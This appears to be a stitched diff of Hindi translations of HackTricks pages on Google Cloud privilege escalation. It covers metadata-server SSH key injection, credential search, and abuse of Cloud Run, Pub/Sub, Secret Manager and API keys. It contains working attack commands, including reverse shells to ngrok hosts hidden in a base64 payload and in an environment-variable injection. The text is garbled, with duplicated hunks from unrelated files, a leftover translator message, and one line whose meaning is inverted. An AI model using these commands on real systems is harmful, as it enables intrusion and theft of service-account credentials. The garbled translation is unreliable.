3. **एक सेवा खाते को कस्टम भूमिका दें**: इस अनुमति का उपयोग करने वाले सेवा खाते को अपनी कस्टम भूमिका असाइन करें। निम्नलिखित कमांड का उपयोग करें:
3. **एक सेवा खाते को कस्टम भूमिका दें**: इस अनुमति का उपयोग करने वाले सेवा खाते को अपनी कस्टम भूमिका सौंपें। निम्नलिखित कमांड का उपयोग करें:
```bash
# Give this permission to the service account to impersonate
gcloud projects add-iam-policy-binding [PROJECT_ID] \
@@ -73,6 +73,6 @@ gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"
```
`[YOUR_PROJECT_ID]` और `[SERVICE_ACCOUNT_EMAIL]` को अपने प्रोजेक्ट आईडी और सेवा खाते के ईमेल से क्रमशः बदलें।
`[YOUR_PROJECT_ID]` और `[SERVICE_ACCOUNT_EMAIL]` को क्रमशः अपने प्रोजेक्ट आईडी और सेवा खाते के ईमेल से बदलें।
{{#include ../../../banners/hacktricks-training.md}}
@@ -2,19 +2,19 @@
{{#include ../../../banners/hacktricks-training.md}}
इस परिदृश्य में हम मानते हैं कि आपने **एक गैर विशेषाधिकार खाता** एक VM में एक Compute Engine प्रोजेक्ट के अंदर समझौता किया है।
इस परिदृश्य में हम मान लेंगे कि आपने **एक गैर-विशेषाधिकार खाता** एक VM में एक Compute Engine प्रोजेक्ट के अंदर समझौता किया है।
अद्भुत रूप से, आपके द्वारा समझौता किए गए Compute Engine के GPC अनुमतियाँ आपको **एक मशीन के अंदर स्थानीय रूप से विशेषाधिकार बढ़ाने** में मदद कर सकती हैं। भले ही यह हमेशा एक क्लाउड वातावरण में बहुत सहायक न हो, यह जानना अच्छा है कि यह संभव है।
## स्क्रिप्ट पढ़ें <a href="#follow-the-scripts" id="follow-the-scripts"></a>
**कंप्यूट इंस्टेंस** शायद वहा **कुछ स्क्रिप्ट्स** को उनके सेवा खातों के साथ क्रियाएँ करने के लिए **निष्पादित करने** के लिए हैं।
**कंप्यूट इंस्टेंस** शायद वहा **कुछ स्क्रिप्ट्स** को उनके सेवा खातों के साथ क्रियान्वित करने के लिए हैं।
चूंकि IAM बहुत बारीक है, एक खाता एक संसाधन पर **पढ़ने/लिखने** के विशेषाधिकार रख सकता है लेकिन **कोई सूची विशेषाधिकार नहीं**
इसका एक शानदार काल्पनिक उदाहरण एक Compute Instance है जिसे `instance82736-long-term-xyz-archive-0332893` नामक एक स्टोरेज बकेट में बैकअप पढ़ने/लिखने की अनुमति है।
कमांड लाइन से `gsutil ls` चलाने पर कुछ भी नहीं लौटता, क्योंकि सेवा खाते के पास `storage.buckets.list` IAM अनुमति नहीं है। हालाँकि, यदि आपने `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` चलाया, तो आप एक पूर्ण फ़ाइल सिस्टम बैकअप पा सकते हैं, जो आपको उस डेटा तक स्पष्ट-पाठ पहुंच देता है जो आपके स्थानीय Linux खाते के पास नहीं है।
कमांड लाइन से `gsutil ls` चलाने पर कुछ भी नहीं लौटता है, क्योंकि सेवा खाते के पास `storage.buckets.list` IAM अनुमति नहीं है। हालाँकि, यदि आपने `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` चलाया, तो आप एक पूर्ण फ़ाइल सिस्टम बैकअप पा सकते हैं, जो आपको उस डेटा तक स्पष्ट-पाठ पहुंच देता है जो आपके स्थानीय Linux खाते के पास नहीं है।
आप इस बकेट नाम को एक स्क्रिप्ट (bash, Python, Ruby...) के अंदर पा सकते हैं।
@@ -22,7 +22,7 @@
प्रशासक **इंस्टेंस** और **प्रोजेक्ट स्तर** पर [कस्टम मेटाडेटा](https://cloud.google.com/compute/docs/storing-retrieving-metadata#custom) जोड़ सकते हैं। यह बस एक तरीके से **मनमाने कुंजी/मान जोड़े को एक इंस्टेंस में पास करने** का तरीका है, और इसे पर्यावरण चर और स्टार्टअप/शटडाउन स्क्रिप्ट के लिए सामान्यतः उपयोग किया जाता है।
इसके अलावा, **userdata** जोड़ना संभव है, जो एक स्क्रिप्ट है जो **हर बार** मशीन शुरू या पुनः प्रारंभ होने पर **निष्पादित** की जाएगी और जिसे **मेटाडेटा एंडपॉइंट से भी एक्सेस किया जा सकता है।**
इसके अलावा, **userdata** जोड़ना संभव है, जो एक स्क्रिप्ट है जो **हर बार** मशीन शुरू या पुनः प्रारंभ होने पर **क्रियान्वित** की जाएगी और जिसे **मेटाडेटा एंडपॉइंट से भी एक्सेस किया जा सकता है।**
अधिक जानकारी के लिए देखें:
@@ -32,7 +32,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
## **IAM अनुमतियों का दुरुपयोग**
निम्नलिखित प्रस्तावित अनुमतियों में से अधिकांश **डिफ़ॉल्ट Compute SA को दी गई हैं,** केवल समस्या यह है कि **डिफ़ॉल्ट एक्सेस स्कोप SA को उनका उपयोग करने से रोकता है** हालाँकि, यदि **`cloud-platform`** **स्कोप** सक्षम है या केवल **`compute`** **स्कोप** सक्षम है, तो आप **उनका दुरुपयोग करने में सक्षम होंगे**
निम्नलिखित प्रस्तावित अनुमतियों में से अधिकांश **डिफ़ॉल्ट Compute SA को दी गई हैं,** केवल समस्या यह है कि **डिफ़ॉल्ट एक्सेस स्कोप SA को उनका उपयोग करने से रोकता है** हालाँकि, यदि **`cloud-platform`** **स्कोप** सक्षम है या केवल **`compute`** **स्कोप** सक्षम है, तो आप **उनका दुरुपयोग करने में सक्षम होंगे**
निम्नलिखित अनुमतियों की जांच करें:
@@ -44,7 +44,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
## फ़ाइल सिस्टम में कुंजियों की खोज करें
जांचें कि क्या अन्य उपयोगकर्ताओं ने बॉक्स के अंदर gcloud में लॉगिन किया है और फ़ाइल सिस्टम में अपन क्रेडेंशियल्स छोड़ दिए हैं:
जांचें कि क्या अन्य उपयोगकर्ताओं ने बॉक्स के अंदर gcloud में लॉगिन किया है और फ़ाइल सिस्टम में अपन क्रेडेंशियल्स छोड़ द हैं:
```
sudo find / -name "gcloud"
```
@@ -55,7 +55,7 @@ sudo find / -name "gcloud"
- `~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto`
- `~/.credentials.json`
### अधिक API कुंजी regexes
### अधिक API Keys regexes
```bash
TARGET_DIR="/path/to/whatever"
@@ -87,7 +87,7 @@ grep -Pir "storage.googleapis.com.*?Goog-Signature=[a-f0-9]+" \
grep -Pzr '(?s)<form action.*?googleapis.com.*?name="signature" value=".*?">' \
"$TARGET_DIR"
```
## References
## संदर्भ
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
@@ -16,10 +16,10 @@
### \*.create, \*.update
ये अनुमतियाँ संसाधनों में **नया बनाने या नए को अपडेट करने** के लिए अधिकार बढ़ाने के प्रयास में बहुत उपयोगी हो सकती हैं। ये प्रकार की अनुमतियाँ विशेष रूप से उपयोगी होती हैं यदि आपके पास एक सेवा खाते पर **iam.serviceAccounts.actAs** अनुमति भी है और जिस संसाधन पर आपके पास .create/.update है वह एक सेवा खाते को संलग्न कर सकता है।
ये अनुमतियाँ संसाधनों में अधिकार बढ़ाने के लिए **एक नया बनाने या एक नए को अपडेट करने** के लिए बहुत उपयोगी हो सकती हैं। ये अनुमतियाँ विशेष रूप से उपयोगी होती हैं यदि आपके पास एक सेवा खाते पर **iam.serviceAccounts.actAs** अनुमति भी है और जिस संसाधन पर आपके पास .create/.update है वह एक सेवा खाते को संलग्न कर सकता है।
### \*ServiceAccount\*
यह अनुमति आमतौर पर आपको **किसी संसाधन में एक सेवा खाते तक पहुँचने या उसे संशोधित करने** की अनुमति देगी (जैसे: compute.instances.setServiceAccount)। यह **अधिकार बढ़ाने** के लिए एक वेक्टर हो सकता है, लेकिन यह प्रत्येक मामले पर निर्भर करेगा।
यह अनुमति आमतौर पर आपको **किसी संसाधन में एक सेवा खाते तक पहुँचने या उसे संशोधित करने** की अनुमति देती है (जैसे: compute.instances.setServiceAccount)। यह **एक अधिकार वृद्धि** वेक्टर की ओर ले जा सकता है, लेकिन यह प्रत्येक मामले पर निर्भर करेगा।
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Initial State
स तकनीक के विवरण वाले दोनों लेखों में, हमलावरों ने GCP द्वारा प्रबंधित **Docker** कंटेनर के अंदर **root** एक्सेस प्राप्त करने में सफलता पाई, जिसमें होस्ट नेटवर्क तक पहुंच (और क्षमताए **`CAP_NET_ADMIN`** और **`CAP_NET_RAW`**) शामिल थीं।
न दोनों लेखों में जहां इस तकनीक का उल्लेख किया गया है, हमलावरों ने GCP द्वारा प्रबंधित **Docker** कंटेनर के अंदर **root** एक्सेस प्राप्त करने में सफलता पाई, जिसमें होस्ट नेटवर्क तक पहुंच (और क्षमताए **`CAP_NET_ADMIN`** और **`CAP_NET_RAW`**) शामिल हैं।
## Attack Explanation
@@ -12,27 +12,27 @@ Google Compute Engine इंस्टेंस पर, नेटवर्क ट
यह एजेंट **metadata में परिवर्तनों की निगरानी** करने के लिए डिज़ाइन किया गया है। विशेष रूप से, मेटाडेटा में **SSH सार्वजनिक कुंजी के लिए एक फ़ील्ड** शामिल है। जब मेटाडेटा में एक नई सार्वजनिक SSH कुंजी जोड़ी जाती है, तो एजेंट स्वचालित रूप से इसे `.authorized_key` फ़ाइल में **अधिकृत** करता है। यदि आवश्यक हो, तो यह **एक नया उपयोगकर्ता** भी **sudoers** में जोड़ सकता है।
एजेंट परिवर्तनों की निगरानी करने के लिए **सभी मेटाडेटा मानों को पुनरावृत्त रूप से प्राप्त करने** के लिए एक अनुरोध भेजता है (`GET /computeMetadata/v1/?recursive=true`)। यह अनुरोध मेटाडेटा सर्वर को केवल तब प्रतिक्रिया भेजने के लिए प्रेरित करने के लिए डिज़ाइन किया गया है जब पिछले पुनर्प्राप्ति के बाद मेटाडेटा में कोई परिवर्तन हुआ हो, जिसे एक Etag द्वारा पहचाना जाता है (`wait_for_change=true&last_etag=`)। इसके अतिरिक्त, एक **timeout** पैरामीटर (`timeout_sec=`) शामिल है। यदि निर्दिष्ट समय सीमा के भीतर कोई परिवर्तन नहीं होता है, तो सर्वर **अपरिवर्तित मानों** के साथ प्रतिक्रिया करता है।
एजेंट परिवर्तनों की निगरानी करने के लिए **सभी मेटाडेटा मानों को पुनरावृत्त करने** के लिए एक अनुरोध भेजता है (`GET /computeMetadata/v1/?recursive=true`)। यह अनुरोध मेटाडेटा सर्वर को केवल तब प्रतिक्रिया भेजने के लिए प्रेरित करने के लिए डिज़ाइन किया गया है जब पिछले पुनर्प्राप्ति के बाद मेटाडेटा में कोई परिवर्तन हुआ हो, जिसे एक Etag द्वारा पहचाना जाता है (`wait_for_change=true&last_etag=`)। इसके अतिरिक्त, एक **timeout** पैरामीटर (`timeout_sec=`) शामिल है। यदि निर्दिष्ट समय सीमा के भीतर कोई परिवर्तन नहीं होता है, तो सर्वर **अपरिवर्तित मानों** के साथ प्रतिक्रिया करता है।
यह प्रक्रिया **IMDS** (Instance Metadata Service) को **60 सेकंड** के बाद प्रतिक्रिया देने की अनुमति देती है यदि कोई कॉन्फ़िगरेशन परिवर्तन नहीं हुआ है, जिससे मेहमान एजेंट के लिए एक संभावित **फर्जी कॉन्फ़िगरेशन प्रतिक्रिया** इंजेक्ट करने का अवसर बनता है।
यह प्रक्रिया **IMDS** (Instance Metadata Service) को **60 सेकंड** के बाद प्रतिक्रिया देने की अनुमति देती है यदि कोई कॉन्फ़िगरेशन परिवर्तन नहीं हुआ है, जिससे मेहमान एजेंट के लिए एक संभावित **झूठी कॉन्फ़िगरेशन प्रतिक्रिया** इंजेक्ट करने का अवसर बनता है।
एक हमलावर इस स्थिति का लाभ उठाकर **Man-in-the-Middle (MitM) attack** कर सकता है, IMDS सर्वर से प्रतिक्रिया को स्पूफ करके और **एक नई सार्वजनिक कुंजी** डालकर। इससे होस्ट पर अनधिकृत SSH एक्सेस सक्षम हो सकता है।
### Escape Technique
हालांकि ARP स्पूफिंग Google Compute Engine नेटवर्क पर प्रभावी नहीं है, [**rshijack का एक संशोधित संस्करण**](https://github.com/ezequielpereira/rshijack) जो [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) द्वारा विकसित किया गया है, पैकेट इंजेक्शन के लिए संचार में SSH उपयोगकर्ता को इंजेक्ट करने के लिए उपयोग किया जा सकता है।
हालांकि ARP स्पूफिंग Google Compute Engine नेटवर्क पर प्रभावी है, [**rshijack का एक संशोधित संस्करण**](https://github.com/ezequielpereira/rshijack) जो [**Ezequiel**](https://www.ezequiel.tech/2020/08/dropping-shell-in.html) द्वारा विकसित किया गया है, पैकेट इंजेक्शन के लिए संचार में SSH उपयोगकर्ता को इंजेक्ट करने के लिए उपयोग किया जा सकता है।
rshijack का यह संस्करण ACK और SEQ नंबरों को कमांड-लाइन तर्कों के रूप में इनपुट करने की अनुमति देता है, जिससे वास्तविक मेटाडेटा सर्वर प्रतिक्रिया से पहले प्रतिक्रिया को स्पूफ करना आसान हो जाता है। इसके अतिरिक्त, एक [**छोटी Shell script**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) का उपयोग **विशेष रूप से तैयार किए गए पेलोड** को लौटाने के लिए किया जाता है। यह पेलोड Google Guest Agent को **एक उपयोगकर्ता `wouter`** बनाने के लिए ट्रिगर करता है जिसमें `.authorized_keys` फ़ाइल में एक निर्दिष्ट सार्वजनिक कुंजी होती है।
rshijack का यह संस्करण ACK और SEQ नंबरों को कमांड-लाइन तर्कों के रूप में इनपुट करने की अनुमति देता है, जिससे वास्तविक मेटाडेटा सर्वर प्रतिक्रिया से पहले प्रतिक्रिया को स्पूफ करना आसान हो जाता है। इसके अतिरिक्त, एक [**छोटी Shell script**](https://gist.github.com/ezequielpereira/914c2aae463409e785071213b059f96c#file-fakedata-sh) का उपयोग **विशेष रूप से तैयार किए गए पेलोड** को लौटाने के लिए किया जाता है। यह पेलोड Google Guest Agent को **`wouter`** नाम का एक उपयोगकर्ता बनाने के लिए ट्रिगर करता है जिसमें `.authorized_keys` फ़ाइल में एक निर्दिष्ट सार्वजनिक कुंजी होती है।
स्क्रिप्ट एक ही ETag का उपयोग करती है ताकि मेटाडेटा सर्वर तुरंत Google Guest Agent को विभिन्न मेटाडेटा मानों के बारे में सूचित न करे, इस प्रकार प्रतिक्रिया में देरी होती है।
स्पूफिंग को निष्पादित करने के लिए, निम्नलिखित चरण आवश्यक हैं:
1. **Metadata सर्वर के लिए अनुरोधों की निगरानी करें** **tcpdump** का उपयोग करके:
1. **Metadata सर्वर के लिए अनुरोधों की निगरानी करें** **tcpdump** का उपयोग करते हुए:
```bash
tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &
```
एक पंक्ति की तलाश करें जो इस तरह हो:
Please provide the line you would like me to translate.
```
<TIME> IP <LOCAL_IP>.<PORT> > 169.254.169.254.80: Flags [P.], seq <NUM>:<TARGET_ACK>, ack <TARGET_SEQ>, win <NUM>, length <NUM>: HTTP: GET /computeMetadata/v1/?timeout_sec=<SECONDS>&last_etag=<ETAG>&alt=json&recursive=True&wait_for_change=True HTTP/1.1
```
@@ -40,7 +40,7 @@ tcpdump -S -i eth0 'host 169.254.169.254 and port 80' &
```bash
fakeData.sh <ETAG> | rshijack -q eth0 169.254.169.254:80 <LOCAL_IP>:<PORT> <TARGET_SEQ> <TARGET_ACK>; ssh -i id_rsa -o StrictHostKeyChecking=no wouter@localhost
```
यह कदम सार्वजनिक कुंजी को अधिकृत करता है, संबंधित निजी कुंजी के साथ SSH कनेक्शन सक्षम करता है।
यह कदम सार्वजनिक कुंजी को अधिकृत करता है, जिससे संबंधित निजी कुंजी के साथ SSH कनेक्शन सक्षम होता है।
## संदर्भ
@@ -14,7 +14,7 @@ gcloud resource-manager org-policies describe <org-policy> [--folder <id> | --or
# Disable
gcloud resource-manager org-policies disable-enforce <org-policy> [--folder <id> | --organization <id> | --project <id>]
```
A python script for this method can be found [यहाँ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py).
एक पायथन स्क्रिप्ट इस विधि के लिए [यहाँ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/orgpolicy.policy.set.py) मिल सकती है।
## संदर्भ
@@ -20,7 +20,7 @@
### `pubsub.subscriptions.create`
आप एक विषय में एक पुश सदस्यता बना सकते हैं जो सभी प्राप्त संदेशों को निर्दिष्ट URL पर भेजेगा।
आप एक पुश सब्सक्रिप्शन बना सकते हैं जो सभी प्राप्त संदेशों को निर्दिष्ट URL पर भेजेगा।
### **`pubsub.subscriptions.update`**
@@ -28,7 +28,7 @@
### `pubsub.subscriptions.consume`
दस्यता का उपयोग करके संदेशों तक पहुँचें।
ब्सक्रिप्शन का उपयोग करके संदेशों तक पहुँचें।
### `pubsub.subscriptions.setIamPolicy`
@@ -1,19 +1,19 @@
# GCP - Resourcemanager Privesc
# GCP - रिसोर्समैनेजर प्रिवेस्क
{{#include ../../../banners/hacktricks-training.md}}
## resourcemanager
## रिसोर्समैनेजर
### `resourcemanager.organizations.setIamPolicy`
`iam.serviceAccounts.setIamPolicy` के शोषण की तरह, यह अनुमति आपको **संशोधित** करने की अनुमति देती है आपक **अनुमतियों** को **किसी भी संसाधन** के खिलाफ **संगठन** स्तर पर। इसलिए, आप उसी शोषण उदाहरण का पालन कर सकते हैं।
`iam.serviceAccounts.setIamPolicy` के शोषण की तरह, यह अनुमति आपको **संशोधित** करने की अनुमति देती है आपक **अनुमतियाँ** **किसी भी संसाधन** के खिलाफ **संगठन** स्तर पर। तो, आप उसी शोषण उदाहरण का पालन कर सकते हैं।
### `resourcemanager.folders.setIamPolicy`
`iam.serviceAccounts.setIamPolicy` के शोषण की तरह, यह अनुमति आपको **संशोधित** करने की अनुमति देती है आपक **अनुमतियों** को **किसी भी संसाधन** के खिलाफ **फोल्डर** स्तर पर। इसलिए, आप उसी शोषण उदाहरण का पालन कर सकते हैं।
`iam.serviceAccounts.setIamPolicy` के शोषण की तरह, यह अनुमति आपको **संशोधित** करने की अनुमति देती है आपक **अनुमतियाँ** **किसी भी संसाधन** के खिलाफ **फोल्डर** स्तर पर। तो, आप उसी शोषण उदाहरण का पालन कर सकते हैं।
### `resourcemanager.projects.setIamPolicy`
`iam.serviceAccounts.setIamPolicy` के शोषण की तरह, यह अनुमति आपको **संशोधित** करने की अनुमति देती है आपक **अनुमतियों** को **किसी भी संसाधन** के खिलाफ **प्रोजेक्ट** स्तर पर। इसलिए, आप उसी शोषण उदाहरण का पालन कर सकते हैं।
`iam.serviceAccounts.setIamPolicy` के शोषण की तरह, यह अनुमति आपको **संशोधित** करने की अनुमति देती है आपक **अनुमतियाँ** **किसी भी संसाधन** के खिलाफ **प्रोजेक्ट** स्तर पर। तो, आप उसी शोषण उदाहरण का पालन कर सकते हैं।
{{#include ../../../banners/hacktricks-training.md}}
@@ -14,13 +14,13 @@ Cloud Run के बारे में अधिक जानकारी क
एक हमलावर के पास **मनमाने कोड चलाने वाली एक रन सेवा बनाने** के लिए ये अनुमतियाँ हैं (मनमाना Docker कंटेनर), इसे एक सेवा खाता संलग्न करें, और कोड को **मेटाडेटा से सेवा खाता टोकन को एक्सफिल्ट्रेट** करने के लिए बनाएं।
इस विधि के लिए एक एक्सप्लॉइट स्क्रिप्ट [यहा](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) मिल सकती है और Docker इमेज [यहा](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage) मिल सकती है।
इस विधि के लिए एक एक्सप्लॉइट स्क्रिप्ट [यहा](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) मिल सकती है और Docker इमेज [यहा](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage) मिल सकती है।
ध्यान दें कि जब `gcloud run deploy` का उपयोग किया जाता है तो केवल सेवा बनाने के बजाय **इसकी `update` अनुमति की आवश्यकता होती है**। एक [**उदाहरण यहा**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh) देखें।
ध्यान दें कि जब `gcloud run deploy` का उपयोग किया जाता है तो केवल सेवा बनाने के बजाय **इसकी `update` अनुमति की आवश्यकता होती है**। एक [**उदाहरण यहा**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh) देखें।
### `run.services.update` , `iam.serviceAccounts.actAs`
पिछले वाले की तरह लेकिन एक सेवा को अपडेट करते समय:
पिछले वाले की तरह लेकिन एक सेवा को अपडेट करते हुए:
```bash
# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
@@ -38,11 +38,11 @@ gcloud run deploy hacked \
```
### `run.services.setIamPolicy`
अपने आप को क्लाउड रन पर पिछले अनुमतियाँ दें।
अपने आप को क्लाउड रन पर पूर्व अनुमति दें।
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
कमांड में निर्दिष्ट सेवा खाते को चुराने के लिए एक रिवर्स शेल के साथ एक नौकरी लॉन्च करें। आप [**यहां एक एक्सप्लॉइट पा सकते हैं**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
कमांड में निर्दिष्ट सेवा खाते को चुराने के लिए एक रिवर्स शेल के साथ एक नौकरी लॉन्च करें। आप एक [**शोषण यहाँ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh) पा सकते हैं।
```bash
gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
@@ -54,7 +54,7 @@ gcloud beta run jobs create jab-cloudrun-3326 \
```
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
पिछले की तरह, **एक नौकरी को अपडेट करना और SA को अपडेट करना** संभव है, **कमांड** और **इसे निष्पादित करना**:
पिछले की तरह, एक **जॉब को अपडेट करना और SA को अपडेट करना** संभव है, **कमांड** और **इसे निष्पादित करना**:
```bash
gcloud beta run jobs update hacked \
--image=mubuntu:latest \
@@ -66,15 +66,15 @@ gcloud beta run jobs update hacked \
```
### `run.jobs.setIamPolicy`
अपने लिए Cloud Jobs पर पिछले अनुमतियाँ दें।
Cloud Jobs पर पिछले अनुमतियाँ दें।
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
एक नौकरी के निष्पादन के env वेरिएबल्स का दुरुपयोग करें ताकि मनमाना कोड निष्पादित किया जा सके और कंटेनर की सामग्री (स्रोत कोड) को डंप करने और मेटाडेटा के अंदर SA तक पहुँचने के लिए एक रिवर्स शेल प्राप्त किया जा सके:
एक नौकरी के निष्पादन के env वेरिएबल्स का दुरुपयोग करें ताकि मनमाना कोड निष्पादित किया जा सके और कंटेनर की सामग्री (स्रोत कोड) को डंप करने के लिए एक रिवर्स शेल प्राप्त किया जा सके और मेटाडेटा के अंदर SA तक पहुंच प्राप्त क जा सके:
```bash
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
```
## References
## संदर्भ
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
@@ -17,7 +17,7 @@ secretmanager के बारे में अधिक जानकारी
# Get clear-text of version 1 of secret: "<secret name>"
gcloud secrets versions access 1 --secret="<secret_name>"
```
As this is also a post exploitation technique it can be found in:
चूंकि यह भी एक पोस्ट एक्सप्लॉइटेशन तकनीक है, इसे निम्नलिखित में पाया जा सकता है:
{{#ref}}
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
@@ -25,7 +25,7 @@ As this is also a post exploitation technique it can be found in:
### `secretmanager.secrets.setIamPolicy`
यह आपको सीक्रेट मैनेजर से सीक्रेट पढ़ने की अनुमति देता है, जैसे कि:
यह आपको सीक्रेट मैनेजर से सीक्रेट पढ़ने की अनुमति देता है, जैसे कि उपयोग करते समय:
```bash
gcloud secrets add-iam-policy-binding <scret-name> \
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
@@ -4,7 +4,7 @@
## serviceusage
निम्नलिखित अनुमतियाँ API कुंजी बनाने और चुराने के लिए उपयोगी हैं, दस्तावेज़ से यह नोट करें: _एक API कुंजी एक सरल एन्क्रिप्टेड स्ट्रिंग है जो **किसी भी प्रिंसिपल के बिना एक एप्लिकेशन की पहचान करती है**। ये **सार्वजनिक डेटा को गुमनाम रूप से** एक्सेस करने के लिए उपयोगी हैं, और आपके प्रोजेक्ट के लिए कोटा और **बिलिंग** के लिए API अनुरोधों को **संयुक्त** करने के लिए उपयोग की जाती हैं।_
निम्नलिखित अनुमतियाँ API कुंजी बनाने और चुराने के लिए उपयोगी हैं, इसे दस्तावेज़ों से नोट करें: _एक API कुंजी एक सरल एन्क्रिप्टेड स्ट्रिंग है जो **किसी भी प्रिंसिपल के बिना एक एप्लिकेशन की पहचान करती है**। ये **सार्वजनिक डेटा को गुमनाम रूप से** एक्सेस करने के लिए उपयोगी हैं, और **कोटा** और **बिलिंग** के लिए आपके प्रोजेक्ट के साथ API अनुरोधों को **संयुक्त** करने के लिए उपयोग की जाती हैं।_
इसलिए, एक API कुंजी के साथ आप उस कंपनी को अपने API के उपयोग के लिए भुगतान करवा सकते हैं, लेकिन आप विशेषाधिकारों को बढ़ाने में सक्षम नहीं होंगे।
@@ -22,13 +22,13 @@ curl -XPOST "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>
```
### `serviceusage.apiKeys.list`
एक और अप्रलेखित API मिली जो पहले से बनाए गए API कुंजियों की सूची बनाने के लिए है (API कुंजियाँ प्रतिक्रिया में दिखाई देती हैं):
एक और अप्रलेखित API मिली जो पहले से बनाए गए API कुंज की सूची बनाने के लिए है (API कुंज प्रतिक्रिया में दिखाई देती हैं):
```bash
curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
```
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
इन अनुमतियों के साथ, एक हमलावर प्रोजेक्ट में न सेवाओं को सक्षम और उपयोग कर सकता है। यह एक **हमलावर को admin या cloudidentity जैसी सेवाओं को सक्षम करने की अनुमति दे सकता है** ताकि वह Workspace जानकारी तक पहुँचने की कोशिश कर सके, या अन्य सेवाओं के माध्यम से दिलचस्प डेटा तक पहुँच सके।
इन अनुमतियों के साथ, एक हमलावर प्रोजेक्ट में न सेवाओं को सक्षम और उपयोग कर सकता है। यह एक **हमलावर को admin या cloudidentity जैसी सेवाओं को सक्षम करने की अनुमति दे सकता है** ताकि वह Workspace जानकारी तक पहुँचने की कोशिश कर सके, या अन्य सेवाओं के माध्यम से दिलचस्प डेटा तक पहुँच सके।
## **References**
@@ -38,15 +38,15 @@ curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKey
<summary><strong>Support HackTricks and get benefits!</strong></summary>
क्या आप एक **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित होते देखना चाहते हैं**? या क्या आप **PEASS का नवीनतम संस्करण देखने या HackTricks को PDF में डाउनलोड करने**ी इच्छा रखते हैं? [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
क्या आप एक **साइबरसिक्योरिटी कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित होते देखना चाहते हैं**? या क्या आप **PEASS का नवीनतम संस्करण देखने या HackTricks को PDF में डाउनलोड करने**ा अधिकार चाहते हैं? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
[**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह
[**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
[**official PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
**शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या **मुझे Twitter पर फॉलो करें** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) में शामिल हों या **Twitter** पर मुझे **फॉलो करें** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**अपने हैकिंग ट्रिक्स साझा करें PRs को** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks) पर सबमिट करके\*\*\*\*
